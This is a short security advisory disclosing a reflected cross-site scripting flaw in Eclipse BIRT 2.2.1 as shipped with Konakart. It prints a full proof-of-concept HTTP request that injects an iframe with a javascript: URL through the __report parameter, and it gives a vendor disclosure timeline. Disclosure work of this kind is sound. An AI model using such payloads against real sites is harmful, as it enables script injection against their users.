Eclipse BIRT <= 2.2.1 Reflected XSS Vendor: Eclipse Advisory: http://antisnatchor.com/2008/12/18/eclipse-birt-reflected-xss/ Author: Michele "euronymous" Orr&#249; (euronymous AT antisnatchor DOT com) Quite a common problem in a lot of Java based applications: reflected XSS in Java stack trace. A Reflected XSS is present in the _report parameter: here below the modified request (that is the BIRT 2.2.1 version included in Konakart 2.2.6) GET /birt-viewer/run?__report='"><iframe%20src=javascript:alert(666)>&r=-703 171660 HTTP/1.1 Host: localhost:8780 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai n;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://localhost:8780/konakartadmin/ Konakart is actually using org.eclipse.birt.core_2.2.1.r22x_v20070924, that is actually old. - Disclosure timeline: 2008-12-17 11:04:15 EST : Vendor Contacted 2009-02-11 03:39:09 EST: Bug fix 2009-03-09 05:32:42 EDT: Patches verified on 2.5.0 - CREDITS Michele "euronymous" Orru' - LEGAL NOTICES Copyright (c) 2009 Michele "euronymous" Orru' Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.